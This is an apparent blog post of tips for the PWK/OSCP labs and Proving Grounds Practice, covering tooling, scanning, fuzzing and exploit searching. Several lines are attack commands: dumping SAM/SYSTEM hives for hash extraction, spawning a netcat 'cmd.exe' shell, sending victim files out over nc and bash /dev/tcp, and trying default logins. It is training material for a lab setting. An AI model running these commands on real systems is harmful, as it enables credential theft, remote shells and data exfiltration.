Tips from the PWK labs and PG Practice

This post was initially meant to be included with the previous post, but I decided to separate them because people don’t necessarily want to read about complaints 🙂 I picked up some tips from the PWK labs, some of these are based on old systems and will be of limited use in the exam. But still, good to know if you intend to complete the labs or attempt PG Practice.

Note: I’ll update this post occasionally when I stumble across new tips.

Virtualenv for Python 2 scripts

Python 2.7 came to its end of life early 2020. Unfortunately a good many exploits are still written in it and while using 2to3-2.7 works to convert the syntax to Python 3 (most notably the print statements), this won’t work when entire libraries are called in Python 2 that aren’t migrated without revamping to 3. To get around this follow this to create a virtual environment for Python 2. I did it as follows

root@kali:~# virtualenv --version
virtualenv 20.2.2 from /usr/local/lib/python3.9/dist-packages/virtualenv/
root@kali:~# which python2
root@kali:~# virtualenv -p /usr/bin/python2 ~/venv/python2
created virtual environment in 5242ms
  creator CPython2Posix(dest=/root/venv/python2, clear=False, no_vcs_ignore=False, global=False)
  seeder FromAppData(download=False, pip=bundle, setuptools=bundle, wheel=bundle, via=copy, app_data_dir=/root/.local/share/virtualenv)
    added seed packages: pip==20.3.1, setuptools==44.1.1, wheel==0.36.1
  activators BashActivator,CShellActivator,FishActivator,PowerShellActivator,PythonActivator
root@kali:~# source ~/venv/python2/bin/activate
(python2) root@kali:~# pip -V
pip 20.3.1 from /root/venv/python2/lib/python2.7/site-packages/pip (python 2.7)
(python2) root@kali:~# python --version
Python 2.7.18
(python2) root@kali:~# pip list
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at pip 21.0 will remove support for this functionality.
Package    Version
---------- -------
pip        20.3.1
setuptools 44.1.1
wheel      0.36.1
WARNING: You are using pip version 20.3.1; however, version 20.3.4 is available.
You should consider upgrading via the '/root/venv/python2/bin/python -m pip install --upgrade pip' command.

To activate the venv for Python 2, do this

root@kali:~/CTF/PWK# source ~/venv/python2/bin/activate
(python2) root@kali:~/CTF/PWK#

You’ll see (python2) precede the command prompt. To deactivate, do this

(python2) root@kali:~# deactivate

Now for every Python 2 exploit you come across replace the shebang (#!/usr/bin/python) with #!/usr/bin/env python, which lets your venv use the environment variable for Python 2 in the virtual environment, which for me is /root/venv/python2/bin/python2 according to the above setup. If you do not change the shebang pointing to /usr/bin/python will typically be outside the virtual environment you setup for Python 2, which means it won’t have access to the venv libraries installed with pip.

Dump SAM/SYSTEM hives without mimikatz

Sometimes you may not be able to get mimikatz.exe to run on the box even with SYSTEM. This is true for very old boxes like Win XP or Win 7. The alternative is to dump the hives and transfer them to Kali for pillaging. This can be done with

C:\Temp>reg save HKLM\SAM SAM
reg save HKLM\SAM SAM

The operation completed successfully


Then on Kali, run this in the directory where the hives are.

impacket-secretsdump LOCAL -sam SAM -system SYSTEM

This just dumps the LSA hashes, which doesn’t cover everything. If you have Kali 2019.4, you can do a locate for the old mimikatz.exe in /opt/mimikatz or just download version 2.1.1 either here, officially here or here. Also if you need to run mimikatz, do it with a cmd shell and not a PS one. It works better unless your PS shell is fully interactive.

Quickly identifying Linux distros

Typically you’ll try to run linpeas or lse once you have foothold, but if you need to ID the distro and its version you can try either of this

cat /etc/*-release
cat /etc/issue
lsb_release -a

For Redhat its typically /etc/redhat-release. /etc/issue seems to work for almost all cases.

Starting another shell with cmd

On older Windows without powershell, you can start another shell with

start C:\Temp\nc.exe 443 -e cmd.exe

Default passwords

PG Practice taught me that in addition to

  1. admin/admin
  2. admin/password

we should also test for <username>/<username> as logins. For some reason, PG Practice has a number of boxes where admin/admin works even when you never think to try it or when knowing the name of the box or one of its users is enough to gain you foothold.

Apart from this creds like

  1. guest/guest
  2. backup/backup

also apparently work sometimes I even came across a box where the password was blank with the default user, but to be fair that was set by the software developer and not OffSec.

Transferring files to Kali

Not exactly sure if this allowed in exam, but so far I’ve not had issues with transferring files from Windows to Kali given impacket-smbserver. The problem was that for Linux, with blocked outgoing ports this may make scp unworkable. You could use plain old netcat for this. First identify an unblocked outgoing port on the box, say 8295. Then do this

# On victim
nc -q 0 8295 < lse.txt
# On Kali
nc -nlvp 8295 > lse.txt

The sending nc will terminate the connection when the file is transferred over. In the event you have a different nc that doesn’t support this, look here to see alternative switches or just download nc onto the target. Alternatively you could just use this for a bash shell.

# On target
cat file > /dev/tcp/ 
# On Kali
nc -nlvp 8295 > file

Octal format for IP addresses

If you need to deal with bad chars such as periods in IP addresses while testing for RCE, you may want to convert them to octal format with this tool. For example you could try to ping localhost on your box with

C:\Users\Ivan>ping 017700000001

Pinging with 32 bytes of data:
Reply from bytes=32 time<1ms TTL=128
Reply from bytes=32 time<1ms TTL=128
Reply from bytes=32 time<1ms TTL=128
Reply from bytes=32 time<1ms TTL=128

Ping statistics for
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

Enumerate service versions first

When pentesting services it helps to first enumerate the version, look for exploit and then later look into interacting with the service to get RCE. Sometimes you may miss a simple foothold if you simply jumped into interacting with the service with stuff you see on Hack Tricks. The box may be worth just 10 points and all you needed was an exploit for that version but you instead dived into a rabbit hole checking if you could view important system files and uploading files to get a foothold only to be frustrated at every turn.

Scan UDP ports

A full UDP port scan of all possible 65,535 ports took way too long to complete (>3 hrs on HTB). Instead I typically opt for the default -sU scan which scans the top 1000 UDP ports. So far I’ve seen mostly snmp and tftp ports on the UDP side, but on some boxes this may be the only way in.

Local vs domain login options for Windows

Some tools like crackmapexec, Impacket’s mssqlclient allow you to specify whether you want a Windows login or a local one. The difference is that a local auth doesn’t require the credentials to be a Windows one, it could exist just for the service such as MS-SQL. If you find credentials try it for both. Look out for something like --local-auth in the options.

Windows PE – Enumerating installed software versions via Registry

You may come across non-Microsoft, non-VMWare software running on Windows that needs to be investigated for possible priv esc. Unfortunately unlike Linux, Windows is GUI based and can be hard to identify with a PS shell alone.

Fortunately some software needs to be installed on Windows before they can work. Check the readme documents in the installed directory. But if those don’t tell you the version you can check the the version in the Apps & Features (or Programs and Features in older Windows) This is also stored in the registry. In a box I encountered, I first listed all the installed software on Windows like this

PS HKLM:\Software\Plantronics> Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName

Windows Driver Package - Plantronics, Inc. (usbser.ntamd64) Ports  (04/21/2009 5.1)
Windows Driver Package - Cambridge Silicon Radio USB  (10/26/2012

Microsoft SQL Server 2017 (64-bit)
Microsoft SQL Server 2017 (64-bit)

VMware Tools
SQL Server Management Studio
SQL Server 2017 Database Engine Shared
SQL Server 2017 Shared Management Objects
SQL Server 2017 XEvent
SQL Server Management Studio for Analysis Services
Microsoft VSS Writer for SQL Server 2017
SQL Server 2017 Database Engine Services
SQL Server 2017 Batch Parser
Microsoft Visual C++ 2017 x64 Additional Runtime - 14.12.25810
Microsoft SQL Server 2017 Setup (English)
SQL Server Management Studio
SQL Server Management Studio for Reporting Services
SQL Server 2017 Shared Management Objects
SSMS Post Install Tasks
Microsoft SQL Server 2017 RsFx Driver
Microsoft OLE DB Driver for SQL Server
Microsoft ODBC Driver 13 for SQL Server
SQL Server 2017 Database Engine Shared
SQL Server 2017 Connection Info
SQL Server 2017 Shared Management Objects Extensions
SQL Server 2017 Common Files
Microsoft SQL Server 2012 Native Client
SQL Server 2017 Connection Info
SQL Server 2017 XEvent
Microsoft Visual Studio Tools for Applications 2017 x64 Hosting Support
SQL Server 2017 Common Files
SQL Server 2017 DMF
Microsoft Analysis Services OLE DB Provider
SQL Server 2017 Shared Management Objects Extensions
Microsoft SQL Server 2017 T-SQL Language Service
Microsoft Visual C++ 2017 x64 Minimum Runtime - 14.12.25810
SQL Server 2017 DMF
SQL Server 2017 Database Engine Services
SQL Server 2017 SQL Diagnostics
Microsoft ODBC Driver 17 for SQL Server
Plantronics Hub Software

Let’s check the version of the Plantronics Hub Software with

PS HKLM:\Software\Plantronics> Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Where-Object {($_.DisplayName -eq "Plantronics Hub Software")}

AuthorizedCDFPrefix :
Comments            :
Contact             :
DisplayVersion      : 3.13.52516.41952
HelpLink            :
HelpTelephone       :
InstallDate         : 20200427
InstallLocation     :
InstallSource       : C:\ProgramData\Package Cache\{F0B63EC0-6F43-4153-95B6-4382DAD6874B}v3.13.52516.41952\
ModifyPath          : MsiExec.exe /X{F0B63EC0-6F43-4153-95B6-4382DAD6874B}
NoModify            : 1
NoRepair            : 1
Publisher           : Plantronics, Inc.
Readme              :
Size                :
EstimatedSize       : 172212
SystemComponent     : 1
UninstallString     : MsiExec.exe /X{F0B63EC0-6F43-4153-95B6-4382DAD6874B}
URLInfoAbout        :
URLUpdateInfo       :
VersionMajor        : 3
VersionMinor        : 13
WindowsInstaller    : 1
Version             : 51236132
Language            : 1033
DisplayName         : Plantronics Hub Software
PSPath              : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
PSParentPath        : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
PSChildName         : {F0B63EC0-6F43-4153-95B6-4382DAD6874B}
PSDrive             : HKLM
PSProvider          : Microsoft.PowerShell.Core\Registry

There we see it’s 3.13.X which should aid in searching for exploits. If you don’t see the software installed listed, then it probably isn’t installed the proper way on Windows. Look for doc files in its directory or even in Downloads to see if the installer exe is named with its version.

Installing packages on compromised targets

If you need to install Linux packages (such as Python 2) on compromised targets and you don’t have Internet access on the target but you do on Kali, you can configure apt on the target to use Burp on Kali as the HTTP proxy. Do note that for this to work you need Burp to listen on all interfaces or at least the interface accessible to the target. See the last point here.

Then we can do this

root@pivot:~/CTF/Box# export http_proxy=
root@pivot:~/CTF/Box# apt update
Hit:1 bionic InRelease
Get:2 bionic-security InRelease [88.7 kB]
Get:3 bionic-updates InRelease [88.7 kB]
Get:4 bionic-backports InRelease [74.6 kB]
Get:5 bionic-security/main i386 Packages [1,006 kB]
Get:6 bionic-updates/main amd64 Packages [2,127 kB]
Get:7 bionic-security/main amd64 Packages [1,782 kB]
Get:8 bionic-updates/main i386 Packages [1,309 kB]
Get:9 bionic-updates/main Translation-en [421 kB]
Get:10 bionic-security/main Translation-en [329 kB]
Get:11 bionic-updates/restricted i386 Packages [25.8 kB]
Get:12 bionic-updates/restricted amd64 Packages [388 kB]
Get:13 bionic-security/restricted amd64 Packages [365 kB]
Get:14 bionic-updates/restricted Translation-en [52.6 kB]
Get:15 bionic-security/restricted i386 Packages [19.2 kB]
Get:16 bionic-updates/universe i386 Packages [1,568 kB]
Get:17 bionic-security/restricted Translation-en [48.9 kB]
Get:18 bionic-updates/universe amd64 Packages [1,738 kB]
Get:19 bionic-security/universe amd64 Packages [1,131 kB]
Get:20 bionic-updates/universe Translation-en [371 kB]
Get:21 bionic-security/universe i386 Packages [983 kB]
Get:22 bionic-updates/multiverse amd64 Packages [26.6 kB]
Get:23 bionic-updates/multiverse i386 Packages [11.6 kB]
Get:24 bionic-updates/multiverse Translation-en [6,792 B]
Get:25 bionic-backports/main i386 Packages [10.0 kB]
Get:26 bionic-security/universe Translation-en [256 kB]
Get:27 bionic-backports/main amd64 Packages [10.0 kB]
Get:28 bionic-backports/main Translation-en [4,764 B]
Get:29 bionic-backports/universe amd64 Packages [10.3 kB]
Get:30 bionic-security/multiverse amd64 Packages [19.2 kB]
Get:31 bionic-backports/universe i386 Packages [10.3 kB]
Get:32 bionic-security/multiverse i386 Packages [6,480 B]
Get:33 bionic-backports/universe Translation-en [4,588 B]
Get:34 bionic-security/multiverse Translation-en [4,412 B]
Fetched 14.3 MB in 1min 26s (166 kB/s)
Reading package lists... Done
Building dependency tree
Reading state information... Done
191 packages can be upgraded. Run 'apt list --upgradable' to see them.

nmap on pivot boxes

Previously I used to download this nmap static binary to the target but it didn’t work too well as it doesn’t support service scans. I have since found this repo which keeps an up-to-date compiled nmap release, along with other compiled binaries such as socat and tcpdump. The release also includes x86 binaries which work on 32-bit Linux targets.

CME enumeration and mounting cifs non-standard Samba shares

Sometimes the Samba share is hosted on a different port, say 36445. I got error 13 for a particular box. Only this worked. Use -v to see verbose output.

root@kali:~/CTF/Box# mount -t cifs -v -o sec=none,vers=2.0,port=36445 // /mnt/Commander
mount.cifs kernel mount options: ip=,unc=\\\Commander,sec=none,vers=2.0,port=36445,user=root,pass=********
root@kali:~/CTF/Box# ls -lah /mnt/Commander/
total 884K
drwxr-xr-x 2 root root    0 Sep 19  2020 .
drwxr-xr-x 5 root root 4.0K Jun  5 17:35 ..
-rwxr-xr-x 1 root root 864K Sep 19  2020 chinook.db
-rwxr-xr-x 1 root root   15 Sep 19  2020 .gitignore
-rwxr-xr-x 1 root root  417 Sep 19  2020
-rwxr-xr-x 1 root root  287 Sep 19  2020 requirements.txt
-rwxr-xr-x 1 root root 2.5K Sep 19  2020

crackmapexec is a fantastic tool for SMB enumeration, particularly for fingerprinting Windows OS versions. Unfortunately it doesn’t support (as far as I can tell) a different target port other than 139, 445. The only way I got it to work was to do a local port forward back to our machine, then run CME on localhost

root@kali:~/CTF/Box# ssh -f -N -L root@localhost -p 22022
root@localhost's password:

root@kali:~/CTF/Box# crackmapexec smb
SMB       445    NUKEM            [*] Windows 6.1 Build 0 (name:Box) (domain:) (signing:False) (SMBv1:False)

Testing for open outbound ports without nc

As mentioned here, on PG Practice it seems outbound ports are blocked by default and only a select few are open. This obviously complicates reverse shells so we should test for it with RCE. If nc is not available on the box we can use wget or curl, the former more widely installed by default. Note you don’t need to specify the http:// in front.

# Test with RCE

# On Kali
root@kali:~/CTF/Box# python3 -m http.server 8295
Serving HTTP on port 8295 ( ... - - [21/Jun/2021 23:19:55] "GET / HTTP/1.1" 200 - - - [21/Jun/2021 23:19:55] "GET / HTTP/1.1" 200 -

If neither are available along with nc, then you can still test with this bashism which doesn’t require any binaries installed. Its called a bashism because only bash understands what /dev/tcp/<ip>/<port> means, so we need to preface it with bash -c. This could also be used to transfer files with cat.

# Test with RCE
bash -c "echo testing > /dev/tcp/"

# On Kali
root@kali:~/CTF/Box# nc -nvlp 109
listening on [any] 109 ...
connect to [] from (UNKNOWN) [] 42292

On Windows boxes, you could use Powershell to test.

# Test for open outbound ports
powershell.exe IWR
# On Kali
root@kali:~/CTF/Box# python3 -m http.server 109
Serving HTTP on port 109 ( ... - - [05/Jun/2021 16:20:39] "GET / HTTP/1.1" 200 -

The quirks of web fuzzing

Be aware of the quirks and features of your preferred web fuzzing tool. I learned in the labs that gobuster for some reason doesn’t have HTTP 303 in its default status codes 200,204,301,302,307,401,403. This caused me to miss a 303 redirect to a web directory with the vulnerable page. You can specify it yourself with -s as in

root@kali:~/CTF/Box# gobuster dir -u -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .sh,.pl,.cgi --timeout 120s -t 100 -s 200,204,301,302,307,401,403,303
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        100
[+] Wordlist:       /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,303,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     sh,pl,cgi
[+] Timeout:        2m0s
2021/06/17 00:42:08 Starting gobuster
/dev (Status: 303)

Then there’s also an unexpected behaviour that Web fuzzes when they look for /foo, they may get 404 but /foo/ instead loads a vulnerable page. Typically Web servers would redirect users without the trailing slash but I found may not necessarily be so.

A more important consideration is the fuzzing wordlist. Like most people I use the directory-list-2.3-medium.txt but found that it has some omissions such as

  1. .git
  2. adminer.php
  3. webcalendar
  4. backup_migrate

The last three are from PG Practice and HTB and the boxes are impossible to solve without them. Are there alternatives? I’ve started using raft-large-words.txt in addition to the directory-list-2.3-medium but since the wordlist contains both file extensions and directories it has entries like .css.php which means if you also include fuzzing for file extensions, you may get an ugly list of 403 Forbidden instead with entries like .css.php.html spamming the results. Still it works though. I considered turning off the file extension search when using raft-large-words.txt, but decided against that because while “adminer” is in that list, “adminer.php” isn’t.

Interestingly nikto sometimes find these “hidden” directories (it found /dev/ and webcalendar above which gobuster missed) but in my experience it takes way too long to run and usually doesn’t return anything.

Searching for exploits

When searching for exploits, start with searchsploit first. Do not rule out exploits based on its title specified for a certain version. I did a box where I almost missed an exploit because the version listed in its title was lower than that of the system. If you check out the exploit details and description, research its CVE to see if the vulnerability encompasses that of the box you’re attacking. Sometimes it does. I find that Google also sometimes magically elevate exploits which are suitable to the top of search results even without the version number in the result header. Check those.

Limitations of searchsploit

The search functionality of searchsploit is quite limited. It searches only the titles of Exploit-DB pages and neglects the content. This could cause you to miss exploits. And somewhat unexpectedly, not all Metasploit exploits are included in Exploit-DB/searchsploit. For instance, in a PG Practice box I had this service in my nmap scan

4505/tcp open  zmtp    ZeroMQ ZMTP 2.0
|_banner: \xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F
4506/tcp open  zmtp    ZeroMQ ZMTP 2.0
|_banner: \xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F

If you did a searchsploit you’d have found nothing

root@kali:~# searchsploit zeromq
Exploits: No Results
Shellcodes: No Results
Papers: No Results

When I did a Google search for “zeromq exploit”, I found that the actual Exploit-DB exploit is 6th on the list of results, not even in the top 5, with results like this and this outranking it, even though neither was relevant. However, when you search Exploit-DB’s online, specifying Content instead of title

you’ll get this returned, which is the correct exploit. Another way to do this is a grep recursively in Kali’s offline directory for Exploit-DB for the case-insensitive term and you’ll find it.

root@kali:~# grep -r -i zeromq /usr/share/exploitdb/exploits/
/usr/share/exploitdb/exploits/multiple/remote/48421.txt:        'transport': 'zeromq',

Metasploit also returns the correct exploit with the search term

msf6 > search zeromq

Matching Modules

   #  Name                                          Disclosure Date  Rank    Check  Description
   -  ----                                          ---------------  ----    -----  -----------
   0  auxiliary/gather/saltstack_salt_root_key      2020-04-30       normal  No     SaltStack Salt Master Server Root Key Disclosure
   1  exploit/linux/misc/saltstack_salt_unauth_rce  2020-04-30       great   Yes    SaltStack Salt Master/Minion Unauthenticated RCE

But if you don’t even want to enter msfconsole during the exam, you could search the Github repo here and the only exploit returned is the correct one. Note this Metasploit exploit isn’t in Exploit-DB for some reason. Or if you don’t want to search online or in msfconsole you can also grep recursively in the MSF directory to find it.

root@kali:~# grep -r -i zeromq /usr/share/metasploit-framework/modules
/usr/share/metasploit-framework/modules/auxiliary/gather/saltstack_salt_root_key.rb:  include Msf::Exploit::Remote::ZeroMQ
/usr/share/metasploit-framework/modules/auxiliary/gather/saltstack_salt_root_key.rb:          method in the SaltStack Salt master's ZeroMQ request server, for
/usr/share/metasploit-framework/modules/auxiliary/gather/saltstack_salt_root_key.rb:    # These are from Msf::Exploit::Remote::ZeroMQ
/usr/share/metasploit-framework/modules/auxiliary/gather/saltstack_salt_root_key.rb:      service_name: 'salt/zeromq',
/usr/share/metasploit-framework/modules/auxiliary/gather/saltstack_salt_root_key.rb:    # This is from Msf::Exploit::Remote::ZeroMQ
/usr/share/metasploit-framework/modules/auxiliary/gather/saltstack_salt_root_key.rb:    # HACK: Strip assumed ZeroMQ header and leave assumed MessagePack "load"
/usr/share/metasploit-framework/modules/exploits/linux/misc/saltstack_salt_unauth_rce.rb:  include Msf::Exploit::Remote::ZeroMQ
/usr/share/metasploit-framework/modules/exploits/linux/misc/saltstack_salt_unauth_rce.rb:          _send_pub() methods in the SaltStack Salt master's ZeroMQ request
/usr/share/metasploit-framework/modules/exploits/linux/misc/saltstack_salt_unauth_rce.rb:    # These are from Msf::Exploit::Remote::ZeroMQ
/usr/share/metasploit-framework/modules/exploits/linux/misc/saltstack_salt_unauth_rce.rb:    # This is from Msf::Exploit::Remote::ZeroMQ

Another example is this

2181/tcp  open  zookeeper   Zookeeper 3.4.6-1569965 (Built on 02/20/2014)

searchsploit returns just a DOS result

root@kali:~# searchsploit zookeeper
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                         |  Path
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Zookeeper 3.5.2 Client - Denial of Service                                                                             | multiple/dos/
----------------------------------------------------------------------------------------------------------------------- ---------------------------------

But grepping file contents will return another

root@kali:~# grep -r -l -i zookeeper /usr/share/exploitdb/exploits/

In both cases, the walkthrough says to pay attention to what could be running else where on the webserver, such as the HTTP headers or the Web directories it redirects to so you better focus your search. In some cases, the exploit is neither in searchsploit or Metasploit (see HTB Time for example), but given Off Sec is administering the exam, I doubt this will be the case then.